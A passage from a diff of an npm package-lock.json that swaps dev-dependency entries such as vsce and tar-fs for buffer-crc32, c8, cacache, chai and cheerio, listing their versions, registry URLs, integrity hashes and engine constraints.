"integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==", "dev": true, - "engines": { - "node": ">=8" - } + "license": "MIT" }, - "node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", "dev": true, - "dependencies": { - "safe-buffer": "~5.1.0" + "engines": { + "node": "*" } }, - "node_modules/string_decoder/node_modules/safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", "dev": true }, - "node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "node_modules/buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ==", "dev": true, + "license": "MIT" + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/bufferstreams": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bufferstreams/-/bufferstreams-3.0.0.tgz", + "integrity": "sha512-Qg0ggJUWJq90vtg4lDsGN9CDWvzBMQxhiEkSOD/sJfYt6BLect3eV1/S6K7SCSKJ34n60rf6U5eUPmQENVE4UA==", + "dev": true, + "license": "MIT", "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" + "readable-stream": "^3.4.0" }, "engines": { - "node": ">=8" + "node": ">=8.12.0" } }, - "node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "node_modules/bufferstreams/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-regex": "^5.0.1" + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" }, "engines": { - "node": ">=8" + "node": ">= 6" } }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "node_modules/c8": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/c8/-/c8-10.1.3.tgz", + "integrity": "sha512-LvcyrOAaOnrrlMpW22n690PUvxiq4Uf9WMhQwNJ9vgagkL/ph1+D4uvjvDA5XCbykrc0sx+ay6pVi9YZ1GnhyA==", "dev": true, + "license": "ISC", + "dependencies": { + "@bcoe/v8-coverage": "^1.0.1", + "@istanbuljs/schema": "^0.1.3", + "find-up": "^5.0.0", + "foreground-child": "^3.1.1", + "istanbul-lib-coverage": "^3.2.0", + "istanbul-lib-report": "^3.0.1", + "istanbul-reports": "^3.1.6", + "test-exclude": "^7.0.1", + "v8-to-istanbul": "^9.0.0", + "yargs": "^17.7.2", + "yargs-parser": "^21.1.1" + }, + "bin": { + "c8": "bin/c8.js" + }, "engines": { - "node": ">=8" + "node": ">=18" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "peerDependencies": { + "monocart-coverage-reports": "^2" + }, + "peerDependenciesMeta": { + "monocart-coverage-reports": { + "optional": true + } } }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/cacache": { + "version": "16.1.3", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-16.1.3.tgz", + "integrity": "sha512-/+Emcj9DAXxX4cwlLmRI9c166RuL3w30zp4R7Joiv2cQTtTtA+jeuCAjH3ZlGnYS3tKENSrKhAzVVP9GVyzeYQ==", "dev": true, + "license": "ISC", "dependencies": { - "has-flag": "^4.0.0" + "@npmcli/fs": "^2.1.0", + "@npmcli/move-file": "^2.0.0", + "chownr": "^2.0.0", + "fs-minipass": "^2.1.0", + "glob": "^8.0.1", + "infer-owner": "^1.0.4", + "lru-cache": "^7.7.1", + "minipass": "^3.1.6", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "mkdirp": "^1.0.4", + "p-map": "^4.0.0", + "promise-inflight": "^1.0.1", + "rimraf": "^3.0.2", + "ssri": "^9.0.0", + "tar": "^6.1.11", + "unique-filename": "^2.0.0" }, "engines": { - "node": ">=8" + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" } }, - "node_modules/tar-fs": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.1.tgz", - "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==", + "node_modules/cacache/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, + "license": "MIT", "dependencies": { - "chownr": "^1.1.1", - "mkdirp-classic": "^0.5.2", - "pump": "^3.0.0", - "tar-stream": "^2.1.4" + "balanced-match": "^1.0.0" } }, - "node_modules/tar-stream": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", - "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "node_modules/cacache/node_modules/chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", "dev": true, - "dependencies": { - "bl": "^4.0.3", - "end-of-stream": "^1.4.1", - "fs-constants": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^3.1.1" - }, + "license": "ISC", "engines": { - "node": ">=6" + "node": ">=10" } }, - "node_modules/tar-stream/node_modules/readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "node_modules/cacache/node_modules/glob": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", + "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "deprecated": "Glob versions prior to v9 are no longer supported", "dev": true, + "license": "ISC", "dependencies": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^5.0.1", + "once": "^1.3.0" }, "engines": { - "node": ">= 6" + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, - "node_modules/tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "node_modules/cacache/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", "dev": true, - "dependencies": { - "rimraf": "^3.0.0" - }, + "license": "ISC", "engines": { - "node": ">=8.17.0" + "node": ">=12" } }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "node_modules/cacache/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", "dev": true, + "license": "ISC", "dependencies": { - "is-number": "^7.0.0" + "brace-expansion": "^2.0.1" }, "engines": { - "node": ">=8.0" + "node": ">=10" } }, - "node_modules/traverse": { - "version": "0.3.9", - "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.9.tgz", - "integrity": "sha1-cXuPIgzAu3tE5AUUwisui7xw2Lk=", + "node_modules/cacache/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, "engines": { - "node": "*" + "node": ">=8" } }, - "node_modules/tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - }, - "node_modules/tsutils": { - "version": "3.21.0", - "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz", - "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "node_modules/cacache/node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", "dev": true, + "license": "MIT", "dependencies": { - "tslib": "^1.8.1" + "aggregate-error": "^3.0.0" }, "engines": { - "node": ">= 6" + "node": ">=10" }, - "peerDependencies": { - "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta" + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/tunnel": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", - "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", "dev": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, "engines": { - "node": ">=0.6.11 <=0.7.0 || >=0.7.3" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/tunnel-agent": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", "dev": true, "dependencies": { - "safe-buffer": "^5.0.1" + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" }, "engines": { - "node": "*" + "node": ">= 0.4" } }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", "dev": true, - "dependencies": { - "prelude-ls": "^1.2.1" - }, "engines": { - "node": ">= 0.8.0" + "node": ">=6" } }, - "node_modules/type-fest": { - "version": "0.20.2", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", - "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", "dev": true, "engines": { "node": ">=10" @@ -3477,635 +3939,10480 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/typed-rest-client": { - "version": "1.8.6", - "resolved": "https://registry.npmjs.org/typed-rest-client/-/typed-rest-client-1.8.6.tgz", - "integrity": "sha512-xcQpTEAJw2DP7GqVNECh4dD+riS+C1qndXLfBCJ3xk0kqprtGN491P5KlmrDbKdtuW8NEcP/5ChxiJI3S9WYTA==", + "node_modules/capital-case": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/capital-case/-/capital-case-1.0.4.tgz", + "integrity": "sha512-ds37W8CytHgwnhGGTi88pcPyR15qoNkOpYwmMMfnWqqWgESapLqvDx6huFjQ5vqWSn2Z06173XNA7LtMOeUh1A==", "dev": true, + "license": "MIT", "dependencies": { - "qs": "^6.9.1", - "tunnel": "0.0.6", - "underscore": "^1.12.1" + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" } }, - "node_modules/typescript": { - "version": "4.5.2", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.5.2.tgz", - "integrity": "sha512-5BlMof9H1yGt0P8/WF+wPNw6GfctgGjXp5hkblpyT+8rkASSmkUKMXrxR0Xg8ThVCi/JnHQiKXeBaEwCeQwMFw==", + "node_modules/chai": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.5.0.tgz", + "integrity": "sha512-RITGBfijLkBddZvnn8jdqoTypxvqbOLYQkGGxXzeFjVHvudaPw0HNFD9x928/eUwYWd2dPCugVqspGALTZZQKw==", "dev": true, - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" + "license": "MIT", + "dependencies": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.3", + "deep-eql": "^4.1.3", + "get-func-name": "^2.0.2", + "loupe": "^2.3.6", + "pathval": "^1.1.1", + "type-detect": "^4.1.0" }, "engines": { - "node": ">=4.2.0" + "node": ">=4" } }, - "node_modules/uc.micro": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-1.0.6.tgz", - "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==", - "dev": true - }, - "node_modules/underscore": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz", - "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g==", - "dev": true - }, - "node_modules/unzipper": { - "version": "0.10.11", - "resolved": "https://registry.npmjs.org/unzipper/-/unzipper-0.10.11.tgz", - "integrity": "sha512-+BrAq2oFqWod5IESRjL3S8baohbevGcVA+teAIOYWM3pDVdseogqbzhhvvmiyQrUNKFUnDMtELW3X8ykbyDCJw==", + "node_modules/chai-as-promised": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/chai-as-promised/-/chai-as-promised-7.1.2.tgz", + "integrity": "sha512-aBDHZxRzYnUYuIAIPBH2s511DjlKPzXNlXSGFC8CwmroWQLfrW0LtE1nK3MAwwNhJPa9raEjNCmRoFpG0Hurdw==", "dev": true, + "license": "WTFPL", "dependencies": { - "big-integer": "^1.6.17", - "binary": "~0.3.0", - "bluebird": "~3.4.1", - "buffer-indexof-polyfill": "~1.0.0", - "duplexer2": "~0.1.4", - "fstream": "^1.0.12", - "graceful-fs": "^4.2.2", - "listenercount": "~1.0.1", - "readable-stream": "~2.3.6", - "setimmediate": "~1.0.4" + "check-error": "^1.0.2" + }, + "peerDependencies": { + "chai": ">= 2.1.2 < 6" } }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "node_modules/chai-subset": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/chai-subset/-/chai-subset-1.6.0.tgz", + "integrity": "sha512-K3d+KmqdS5XKW5DWPd5sgNffL3uxdDe+6GdnJh3AYPhwnBGRY5urfvfcbRtWIvvpz+KxkL9FeBB6MZewLUNwug==", "dev": true, - "dependencies": { - "punycode": "^2.1.0" + "license": "MIT", + "engines": { + "node": ">=4" } }, - "node_modules/url-join": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz", - "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==", - "dev": true - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "dev": true - }, - "node_modules/v8-compile-cache": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", - "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", - "dev": true - }, - "node_modules/vsce": { - "version": "2.9.1", - "resolved": "https://registry.npmjs.org/vsce/-/vsce-2.9.1.tgz", - "integrity": "sha512-l/X4hkoYgOoZhRYQpJXqexBJU2z4mzNywx+artzWnOV3v45YMM6IoDDtIcB9SWluobem476KmMPLkCdAdnvoOg==", + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dev": true, "dependencies": { - "azure-devops-node-api": "^11.0.1", - "chalk": "^2.4.2", - "cheerio": "^1.0.0-rc.9", - "commander": "^6.1.0", - "glob": "^7.0.6", - "hosted-git-info": "^4.0.2", - "keytar": "^7.7.0", - "leven": "^3.1.0", - "markdown-it": "^12.3.2", - "mime": "^1.3.4", - "minimatch": "^3.0.3", - "parse-semver": "^1.1.1", - "read": "^1.0.7", - "semver": "^5.1.0", - "tmp": "^0.2.1", - "typed-rest-client": "^1.8.4", - "url-join": "^4.0.1", - "xml2js": "^0.4.23", - "yauzl": "^2.3.1", - "yazl": "^2.2.2" - }, - "bin": { - "vsce": "vsce" + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" }, "engines": { - "node": ">= 14" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" } }, - "node_modules/vsce/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "node_modules/change-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/change-case/-/change-case-4.1.2.tgz", + "integrity": "sha512-bSxY2ws9OtviILG1EiY5K7NNxkqg/JnRnFxLtKQ96JaviiIxi7djMrSd0ECT9AC+lttClmYwKw53BWpOMblo7A==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^1.9.0" + "camel-case": "^4.1.2", + "capital-case": "^1.0.4", + "constant-case": "^3.0.4", + "dot-case": "^3.0.4", + "header-case": "^2.0.4", + "no-case": "^3.0.4", + "param-case": "^3.0.4", + "pascal-case": "^3.1.2", + "path-case": "^3.0.4", + "sentence-case": "^3.0.4", + "snake-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/check-error": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz", + "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-func-name": "^2.0.2" }, "engines": { - "node": ">=4" + "node": "*" } }, - "node_modules/vsce/node_modules/chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "node_modules/cheerio": { + "version": "1.0.0-rc.10", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.10.tgz", + "integrity": "sha512-g0J0q/O6mW8z5zxQ3A8E8J1hUgp4SMOvEoW/x84OwyHKe/Zccz83PVT4y5Crcr530FV6NgmKI1qvGTKVl9XXVw==", "dev": true, "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "cheerio-select": "^1.5.0", + "dom-serializer": "^1.3.2", + "domhandler": "^4.2.0", + "htmlparser2": "^6.1.0", + "parse5": "^6.0.1", + "parse5-htmlparser2-tree-adapter": "^6.0.1", + "tslib": "^2.2.0" }, "engines": { - "node": ">=4" + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/cheeriojs/cheerio?sponsor=1" } }, - "node_modules/vsce/node_modules/color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "node_modules/cheerio-select": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-1.5.0.tgz", + "integrity": "sha512-qocaHPv5ypefh6YNxvnbABM07KMxExbtbfuJoIie3iZXX1ERwYmJcIiRrr9H05ucQP1k28dav8rpdDgjQd8drg==", "dev": true, "dependencies": { - "color-name": "1.1.3" + "css-select": "^4.1.3", + "css-what": "^5.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0", + "domutils": "^2.7.0" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" } }, - "node_modules/vsce/node_modules/color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", - "dev": true - }, - "node_modules/vsce/node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", "dev": true, + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, "engines": { - "node": ">=0.8.0" + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" } }, - "node_modules/vsce/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, "engines": { - "node": ">=4" + "node": ">= 6" } }, - 